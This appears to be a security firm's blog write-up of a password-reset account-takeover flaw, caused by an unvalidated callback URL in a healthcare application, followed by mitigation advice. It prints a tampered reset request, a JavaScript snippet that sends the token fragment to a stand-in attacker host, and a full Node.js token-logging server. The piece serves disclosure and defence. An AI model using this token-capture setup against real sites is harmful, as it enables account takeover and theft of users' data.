Password Reset Gone Wrong: The Power of Callback URL Manipulation

cover_blog

Account takeover by password reset is a common yet often overlooked flaw in which an attacker acquires access to a victim’s account by manipulating the password reset process. This type of flaw frequently targets flaws in how a website or service handles callback URLs, which are intended to redirect users after they reset their passwords. By carefully constructing malicious URLs or intercepting the reset process, attackers might circumvent security safeguards and obtain unauthorized access to sensitive accounts, resulting in data theft or other exploits.

Overview

A recent assessment by the Pretera team uncovered a critical security flaw in a healthcare application that could allow attackers to gain full control over user accounts via the password reset functionality. The vulnerability stems from poor handling of the callback parameter, a common but dangerous oversight in many web applications.

What is a Callback URL Vulnerability?

When a user requests a password reset, many web applications include a redirect or callback URL in the confirmation email. This URL tells the browser where to navigate after resetting the password. If this URL is not properly validated, an attacker can inject their own domain, receive the password reset token, and hijack the account.

Discovery and Exploitation

During testing, the application was found to accept arbitrary domains in the callback parameter. This was reflected in the password reset email, effectively handing over the redirect flow to the attacker.

To demonstrate this issue, the Pretera team registered a lookalike domain and hosted a server that logged incoming traffic. The following request was intercepted and modified during the test:

POST /api/reset-password HTTP/2
Host: [REDACTED]
...
{
  "clientType": 0,
  "email": "[email protected]",
  "callback": "https://[attacker-domain]/"
}

As a result, the password reset link sent to the user pointed to the domain controlled by the Pretera team.

Capturing the Token

Once the victim clicked the reset link, the browser redirected them to the attacker’s page, with the token included in the URL fragment(#). Because fragments are not logged by servers by default, the Pretera team deployed a client-side JavaScript logger that captured this fragment and sent it to a Node.js backend.

Sample JavaScript Logger:

<script>
window.onload = function () {
 if (window.location.hash) {
   fetch("https://[attacker-domain]:3000/log", {
     method: "POST",
     headers: { "Content-Type": "application/json" },
     body: JSON.stringify({ fullFragment: window.location.hash })
   });
 }
};
</script>

Node.js Logging Backend:

const express = require('express');
const fs = require('fs');
const https = require('https');
const cors = require('cors');
const app = express();

//Load TLS certs
const options = {
 key: fs.readFileSync('/etc/letsencrypt/live/attacker-domain/privkey.pem'),
 cert: fs.readFileSync('/etc/letsencrypt/live/attacker-domain/fullchain.pem')
 // OR use './key.pem' and './cert.pem' if using self-signed
};

//CORS for your frontend
app.use(cors({
 origin: 'https://www.attacker-domain',
 methods: ['POST'],
 allowedHeaders: ['Content-Type']
}));

app.use(express.json());

// POST endpoint
app.post('/log', (req, res) => {
 const fragment = req.body.fullFragment || '#';
 const ip = req.ip;
 const timestamp = new Date().toISOString();
 const logEntry = `[${timestamp}] ${ip} - ${fragment}\n`;

 console.log(Capturing tokens:', logEntry);

 try {
   fs.appendFileSync('./captured-tokens.txt', logEntry);
   res.sendStatus(200);
 } catch (err) {
   console.error('Failed to write log file:', err);
   res.sendStatus(500);
 }
});

// HTTPS server on port 3000
https.createServer(options, app).listen(3000, () => {
 console.log(‘HTTPS logger running on https://attacker-domain:3000');
});

The application above then captures all requests being made to the attacker-domain.com application, and it logs everything after the # symbol:

$ node logger.js 
HTTPS logger running on https://attacker-domain:3000
Logging fragment: [2025-04-01T21:15:54.676Z] ::ffff:46.99.X.X - #/newcredentials?clientType=0&validationString=n9Xqk3ZaV1PU9QK7bJeF5mYZcX8LrdW4o2NmAqSxOeCEaJq3L2Rf%2Bt0Q%3D%3D

The captured token can then be used against the legitimate target-domain.com application.

Using the captured token, the team was able to reset the password of a real account and gain full access, confirming the vulnerability’s impact. 

Recommendations

To mitigate this class of vulnerability, Pretera strongly recommends the following best practices:

  • Disallow user-supplied callback URLs unless absolutely required.
  • Use predefined internal redirect pages within your application domain.
  • Implement strict allow-lists if dynamic redirects are necessary.
  • Avoid placing tokens in URLs or fragments — use server-side sessions.
  • Use short-lived, one-time-use tokens stored securely on the backend.
  • Monitor logs for unusual callback behavior or external redirect attempts.

Final Thoughts

This vulnerability highlights the importance of treating redirect parameters with caution, especially in workflows involving sensitive operations like password resets. Attackers actively look for such oversights to conduct account takeovers, phishing, or data theft. Not only does this result in legal consequences, but it also makes organizations vulnerable to future attacks. In a competitive landscape where client loyalty is essential, a single successful account takeover can undermine customer trust, reducing revenue and long-term growth.

Get in touch with our team at Pretera if you’d like to assess your application’s security posture. We specialize in offensive security testing that goes beyond scanners and delivers actionable, business-relevant findings.

Share this Link